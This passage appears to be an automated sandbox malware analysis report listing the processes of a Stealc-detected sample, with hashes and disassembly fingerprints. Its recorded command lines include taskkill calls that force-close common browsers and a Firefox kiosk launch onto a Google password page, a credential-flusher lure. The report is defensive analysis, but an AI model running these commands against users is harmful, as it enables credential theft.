Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	09:49:31
Start date:	23/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	09:49:31
Start date:	23/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	09:49:31
Start date:	23/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	09:49:32
Start date:	23/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	09:49:32
Start date:	23/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2184 -parentBuildID 20230927232528 -prefsHandle 2132 -prefMapHandle 2128 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b40077cd-dd11-4133-b7ff-87ccb7cbcf33} 7456 "\\.\pipe\gecko-crash-server-pipe.7456" 1378e86ed10 socket
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	09:49:33
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe"
Imagebase:	0xff0000
File size:	2'994'688 bytes
MD5 hash:	DF1B115CEEEB801E6987B690BE5DE396
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	09:49:34
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000979001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000979001\num.exe"
Imagebase:	0x480000
File size:	314'368 bytes
MD5 hash:	791FCEE57312D4A20CC86AE1CEA8DFC4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000000.2977404002.0000000000481000.00000080.00000001.01000000.00000017.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000002.2993490502.0000000000B2E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000002.2992177721.0000000000481000.00000080.00000001.01000000.00000017.sdmp, Author: Joe Security Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	09:49:38
Start date:	23/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2948 -parentBuildID 20230927232528 -prefsHandle 4268 -prefMapHandle 3212 -prefsLen 30974 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {0ae1ecd2-7e69-4001-87b4-63ef548d530a} 7456 "\\.\pipe\gecko-crash-server-pipe.7456" 1379e087210 rdd
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	09:49:41
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe"
Imagebase:	0xe0000
File size:	1'825'792 bytes
MD5 hash:	3A3583CA7503B6EFFBFF20F498F3EBB4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000002.3145991383.00000000000E1000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000002.3155884712.0000000000B5B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000003.3081987586.0000000004A80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	09:49:50
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe"
Imagebase:	0xca0000
File size:	919'552 bytes
MD5 hash:	F354EF86B6AD1E5D6BA590A198827066
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialFlusher, Description: Yara detected Credential Flusher, Source: 00000020.00000002.3341551842.0000000001388000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	09:49:50
Start date:	23/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x530000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	09:49:50
Start date:	23/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	09:49:58
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000979001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000979001\num.exe"
Imagebase:	0x480000
File size:	314'368 bytes
MD5 hash:	791FCEE57312D4A20CC86AE1CEA8DFC4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000023.00000000.3221111651.0000000000481000.00000080.00000001.01000000.00000017.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000023.00000002.3235939586.0000000000481000.00000080.00000001.01000000.00000017.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000023.00000002.3237002232.0000000000D57000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	09:50:04
Start date:	23/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x7ff6068e0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	09:50:04
Start date:	23/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	09:50:05
Start date:	23/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x530000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	09:50:05
Start date:	23/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	09:50:06
Start date:	23/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x530000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	09:50:06
Start date:	23/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	09:50:06
Start date:	23/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x530000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	09:50:07
Start date:	23/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	09:50:07
Start date:	23/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	09:50:07
Start date:	23/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	09:50:08
Start date:	23/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2140 -parentBuildID 20230927232528 -prefsHandle 2076 -prefMapHandle 2068 -prefsLen 26596 -prefMapSize 238335 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {02f5810b-dd2b-4de0-96e0-9800a8c8aecc} 3780 "\\.\pipe\gecko-crash-server-pipe.3780" 1a0b0b6ff10 socket
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 05400229 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2345997760.0000000005400000.00000040.00001000.00020000.00000000.sdmp, Offset: 05400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5400000_S14AV77TIR9DRWSCWIW0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acc5bbf2cb101cb695449aa4ec576255dcecd0c4730e10f38f7e0faaec3b7b64
Instruction ID: 1f9fb0e1d8af65f7810d62a70c3853bf77628fb27472e26ac3beb9e8df239b98
Opcode Fuzzy Hash: acc5bbf2cb101cb695449aa4ec576255dcecd0c4730e10f38f7e0faaec3b7b64
Instruction Fuzzy Hash: 9C2135A715C210FF9146C491565CBFA3B2BE6923303B0A47BF40BCA5C2D7B59E4B5231

Function 054002BE Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2345997760.0000000005400000.00000040.00001000.00020000.00000000.sdmp, Offset: 05400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5400000_S14AV77TIR9DRWSCWIW0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eba5b9f1cdab64b242efc089cf092bb5c8256b9b39193bd9b791be555e0b0bfd
Instruction ID: 3123b55091064851b8ae90f84040331c12ad3c08cd06c0b8126259f528c88c24
Opcode Fuzzy Hash: eba5b9f1cdab64b242efc089cf092bb5c8256b9b39193bd9b791be555e0b0bfd
Instruction Fuzzy Hash: C911D3AB14C210BF9103C5815A18BF57B1FE58B6303B0613BF90BCA182E2B54A4B5171

Function 0540024B Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2345997760.0000000005400000.00000040.00001000.00020000.00000000.sdmp, Offset: 05400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5400000_S14AV77TIR9DRWSCWIW0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab90bffb9fccfd69f31d8d48c7ee653fdba89542d5bde6d500c6fbdc01437979
Instruction ID: 6a6b6edc25c005f10150509e87befd13c3df2fdf5a3dca7f80adc1e76265005f
Opcode Fuzzy Hash: ab90bffb9fccfd69f31d8d48c7ee653fdba89542d5bde6d500c6fbdc01437979
Instruction Fuzzy Hash: 2C1173AB14C110BF5147C4815B58BFA3B1FE5967303B0953BF94FCA582E7B44A4B6171

Function 0540025A Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2345997760.0000000005400000.00000040.00001000.00020000.00000000.sdmp, Offset: 05400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5400000_S14AV77TIR9DRWSCWIW0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed39d9a360d26a0c62e35a0a136c7e76cf4b689088d4243844a83d09e75a181b
Instruction ID: 28c985271e44249f3d43168fee20d222c8cd7f5a3946a54da8a2a42ec2cf0ef7
Opcode Fuzzy Hash: ed39d9a360d26a0c62e35a0a136c7e76cf4b689088d4243844a83d09e75a181b
Instruction Fuzzy Hash: 0611C4AB14C210BF6143D4816B58BF66B1FE69B330370A03BF90BCB682E2B54A4B5171

Function 054002DB Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2345997760.0000000005400000.00000040.00001000.00020000.00000000.sdmp, Offset: 05400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5400000_S14AV77TIR9DRWSCWIW0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bd74528a3e5d8291956b92351605099d4e8ce8ee45d98a1d1515182f0d7dde4
Instruction ID: 46577f12ca9de88d424a4fc53e086bf1ec20146f0f76697dea61abca0659ed20
Opcode Fuzzy Hash: 1bd74528a3e5d8291956b92351605099d4e8ce8ee45d98a1d1515182f0d7dde4
Instruction Fuzzy Hash: DF113AE714C100BFA203C581AA98BF53B2BE6C7330371647BF48BC9582E6B44A4B9131

Function 05400277 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2345997760.0000000005400000.00000040.00001000.00020000.00000000.sdmp, Offset: 05400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5400000_S14AV77TIR9DRWSCWIW0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cef88982b00642c7f9c4c4a9b0cffead3379242e9986ebf15903cd185fca33e5
Instruction ID: b61e147382501628e377ef7de73c5d034db53914031894e7df72bc031e9a6173
Opcode Fuzzy Hash: cef88982b00642c7f9c4c4a9b0cffead3379242e9986ebf15903cd185fca33e5
Instruction Fuzzy Hash: 1E01A5BB158210FF9143C5819B58AF63B2FE6C7730370917BF94BCA682E7B44A5A6131

Function 05400287 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2345997760.0000000005400000.00000040.00001000.00020000.00000000.sdmp, Offset: 05400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5400000_S14AV77TIR9DRWSCWIW0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75f403499c4bf6bab8fe18354beb3487ae7c24b3d30b1e8eb77f6fed32a81e8a
Instruction ID: 3c93cd90dad91155c86e34e649fb94bcd691063b45863446d1359a7088e1c5ce
Opcode Fuzzy Hash: 75f403499c4bf6bab8fe18354beb3487ae7c24b3d30b1e8eb77f6fed32a81e8a
Instruction Fuzzy Hash: 110184AB148210BFA143C5815B58AF63B1FE5D77303709177F54BCA682E6B54A4B6132

Function 05400292 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2345997760.0000000005400000.00000040.00001000.00020000.00000000.sdmp, Offset: 05400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5400000_S14AV77TIR9DRWSCWIW0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d899aa8c667224e6d5eaf2bd30c6c1df7bbc7b88e3a27caa49e90c7e028fc383
Instruction ID: 755316ca7a8c6c30dbdf69a203cdfb35c52d09a8a613f1fc1c62468c368bbf06
Opcode Fuzzy Hash: d899aa8c667224e6d5eaf2bd30c6c1df7bbc7b88e3a27caa49e90c7e028fc383
Instruction Fuzzy Hash: C301C8A7148240BF9103C5915A58AF67B2FE5C7330370517BF55BCA6D2D3B54A4B6231

Function 054002AE Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2345997760.0000000005400000.00000040.00001000.00020000.00000000.sdmp, Offset: 05400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5400000_S14AV77TIR9DRWSCWIW0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1036f32ecb6eadde5870188db4818a952dc43874871e95bd9d5ea720ec6c4481
Instruction ID: 00ed85351b92f582ffee9edd6f83941d979e2023490f5b0ddf890a29cb2348da
Opcode Fuzzy Hash: 1036f32ecb6eadde5870188db4818a952dc43874871e95bd9d5ea720ec6c4481
Instruction Fuzzy Hash: 6801A7BB148110BFA103C581AB58BFA6B1FE5C77303B09577F50BC9292E6B44A4A6131

Function 054002F9 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2345997760.0000000005400000.00000040.00001000.00020000.00000000.sdmp, Offset: 05400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5400000_S14AV77TIR9DRWSCWIW0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f690aa46d1902e35753191f4b28564ea8e6bfe405d697949116e96c936707af3
Instruction ID: 9318c3f1c6874fb46b0764d263e9914e9797d7a2ce9ffd223fdc6f58724779f9
Opcode Fuzzy Hash: f690aa46d1902e35753191f4b28564ea8e6bfe405d697949116e96c936707af3
Instruction Fuzzy Hash: 5CF0247B188200FF8103C581A2842F47F27EA872303B05173F54B8A682E2B8064BA232

Function 0540032B Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2345997760.0000000005400000.00000040.00001000.00020000.00000000.sdmp, Offset: 05400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5400000_S14AV77TIR9DRWSCWIW0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7144416b5d0e3fbb1a87c9c76c30a306979dd1d3050d0e19c0e7a29539c3b24e
Instruction ID: eeb43044d8ca67e9b3033f5d2f36d36a4b707e2bd0ff3cee7ceb467b1dff2553
Opcode Fuzzy Hash: 7144416b5d0e3fbb1a87c9c76c30a306979dd1d3050d0e19c0e7a29539c3b24e
Instruction Fuzzy Hash: 07F0FC76184340DFC2535AE196482E57767FA47630370417AF5478B692E7B4450AA622

Function 0540034E Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2345997760.0000000005400000.00000040.00001000.00020000.00000000.sdmp, Offset: 05400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5400000_S14AV77TIR9DRWSCWIW0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7ce3fbe334a29140c9d84804fed764dfcff327c873280eb21488436147a5fdc
Instruction ID: c8d5387668372e90af5700614747b4147bae5235f80a47d2353ce4d42529448d
Opcode Fuzzy Hash: f7ce3fbe334a29140c9d84804fed764dfcff327c873280eb21488436147a5fdc
Instruction Fuzzy Hash: 4EF0E92A1843009F4217959196487F67A5AE6472317F010B6F54B8B6D2E7B4864EB532

Function 05400309 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2345997760.0000000005400000.00000040.00001000.00020000.00000000.sdmp, Offset: 05400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5400000_S14AV77TIR9DRWSCWIW0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e708493d4a33b19c2350e461719059f0ed49f3f4f49542767cb9060dde337ff4
Instruction ID: 77cc6ff6c520fe0eab43b0ecf933392f34dd91da352dff0720625dab6ba02537
Opcode Fuzzy Hash: e708493d4a33b19c2350e461719059f0ed49f3f4f49542767cb9060dde337ff4
Instruction Fuzzy Hash: 21F02E6B188300FB81039590A5887F57F17E6473313701177F5578A683A6F4070AE222

Function 0540031D Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2345997760.0000000005400000.00000040.00001000.00020000.00000000.sdmp, Offset: 05400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5400000_S14AV77TIR9DRWSCWIW0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16467010f23834a6185e828ac8b65e0e629239df912962cd7b40cb042a3549b1
Instruction ID: aa9e6e499e0d34e146f7e3afe7ed87ea85f66879cce3066d9f0145c9790f5c98
Opcode Fuzzy Hash: 16467010f23834a6185e828ac8b65e0e629239df912962cd7b40cb042a3549b1
Instruction Fuzzy Hash: 39E09B6B288300EF8113559596446F9BA17E6876303705176F5478B2D3A7E8460FB132

Function 05400371 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2345997760.0000000005400000.00000040.00001000.00020000.00000000.sdmp, Offset: 05400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5400000_S14AV77TIR9DRWSCWIW0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c434ebbeeb71fbf3a1a3506666af065bc04244f27c5bda23266c2d1c89a2465
Instruction ID: 1c5cb5be7a8de8f442dfb7db6cd059ff07580b71d26f768a0ad8580494511398
Opcode Fuzzy Hash: 1c434ebbeeb71fbf3a1a3506666af065bc04244f27c5bda23266c2d1c89a2465
Instruction Fuzzy Hash: FDE0C2BB2843006E90135981A2804B6BB6BAA9BB3137440B6F142DF743F7D88A0DB531

Analysis Process: QDDSFWH7TPMYGYIMIOWX7SBOU5.exePID: 7208, Parent PID: 5328COMMON

Execution Graph

Execution Coverage:	4.5%
Dynamic/Decrypted Code Coverage:	50%
Signature Coverage:	12.5%
Total number of Nodes:	24
Total number of Limit Nodes:	0

Executed Functions

Function 047B15D0 Relevance: 1.8, APIs: 1, Instructions: 299
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 047B18C8

Memory Dump Source

Source File: 00000005.00000002.2426013744.00000000047B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 047B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_47b0000_QDDSFWH7TPMYGYIMIOWX7SBOU5.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: 3d09ebe67d73cde3f1c05152bfdaea09bba7c9e783c9593788f16e532eef457d
Instruction ID: c24adff104945da6d210cb00c07e98c6465bc7d829834770e57f8262c09bccd8
Opcode Fuzzy Hash: 3d09ebe67d73cde3f1c05152bfdaea09bba7c9e783c9593788f16e532eef457d
Instruction Fuzzy Hash: DBC16971D002999FEB10CFA8C8557EEBBB1FB44394F548529EC94E7384DB74A881CB81

Function 00A3B970 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2418852474.0000000000A3A000.00000040.00000001.01000000.00000009.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000005.00000002.2418777284.0000000000A30000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2418802394.0000000000A32000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2418827187.0000000000A36000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2418879535.0000000000A46000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419002511.0000000000BA0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419029279.0000000000BA2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419062316.0000000000BBC000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419062316.0000000000BC7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419116927.0000000000BD2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419142588.0000000000BD4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419169386.0000000000BDE000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419195513.0000000000BE4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419227274.0000000000BFF000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419259967.0000000000C12000.00000040.00000001.01000000.00000009.sdmpDownload File
